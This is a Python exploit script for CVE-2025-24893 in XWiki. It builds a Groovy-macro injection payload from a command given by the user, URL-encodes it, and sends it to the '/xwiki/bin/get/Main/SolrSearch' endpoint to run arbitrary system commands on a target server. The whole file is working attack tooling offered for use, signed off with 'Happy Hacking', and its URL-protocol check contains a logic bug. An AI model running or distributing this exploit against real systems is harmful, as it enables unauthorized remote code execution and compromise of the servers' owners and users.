1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
|
import argparse import urllib.parse import requests import sys
color = { "NC": '\033[0m', "RED": '\033[91m', "GREEN": '\033[92m', "YELLOW": '\033[93m', "BLUE": '\033[94m', "MAGENTA": '\033[95m', "CYAN": '\033[96m', "WHITE": '\033[97m' }
STAR: str = f"{color['YELLOW']}[{color['BLUE']}*{color['YELLOW']}]{color['NC']}" WARNING_STR: str = f"{color['RED']}[{color['YELLOW']}!{color['RED']}]{color['NC']}"
def signal_handler(sig, frame)->None: print(f"\n{WARNING_STR} {color['RED']}Ctrl+C! Exiting...{color['RESET']}") sys.exit(1)
def parse_arguments()->argparse.Namespace: """ Get arguments from user """ parser = argparse.ArgumentParser(description=f"{color['BLUE']}CVE-2025-24893{color['NC']} exploit by {color['RED']}gunzf0x{color['NC']}", epilog=f""" {color['YELLOW']}Example usage:{color['NC']} {color['GREEN']}python3 {sys.argv[0]} -t 'http://example.com:8080' -c 'ping -c1 10.10.10.10'{color['NC']}""", formatter_class=argparse.RawTextHelpFormatter) parser.add_argument("-t", "--target", type=str, help="Target url. For example: 'http://example.com' or 'http://example.com:8080'", required=True) parser.add_argument("-c", "--command", type=str, help="System command to execute in the target machine", required=True) return parser.parse_args()
def check_url(original_url: str)->str: """ Check if url provided is in correct format """ if not original_url.startswith("http://") or not original_url.startswith("https://"): print(f"{WARNING_STR} protocol not found in url (HTTP or HTTPs). Assumming it is 'https' adding 'http://' string to url...") return 'http://' + original_url return original_url
def exploit(target: str, command: str)->None: """ Exploit for CVE-2025-24893 attacking vulnerable endpoint """ print(f"{STAR} Attacking {color['CYAN']}{target}{color['NC']}") url_payload: str = f"{target[:-1] if target.endswith('/') else target}/xwiki/bin/get/Main/SolrSearch?media=rss&text=" original_payload: str = f'}}}}{{{{async async=false}}}}{{{{groovy}}}}"{command}".execute(){{{{/groovy}}}}{{{{/async}}}}' encoded_payload: str = urllib.parse.quote(original_payload) vulnerable_endpoint: str = f"{url_payload}{encoded_payload}" print(f"{STAR} Injecting the payload:\n{color['CYAN']}{vulnerable_endpoint}{color['NC']}") try: requests.get(vulnerable_endpoint, verify=False, timeout=15) except Exception as e: print(f"{WARNING_STR} {color['RED']}An error ocurred:\n{color['YELLOW']}{e}{color['NC']}") sys.exit(1) print(f"{STAR} {color['MAGENTA']}Command executed{color['NC']}") print("\n~Happy Hacking")
def main()->None: args: argparse.Namespace = parse_arguments() exploit(args.target, args.command)
if __name__ == "__main__": main()
|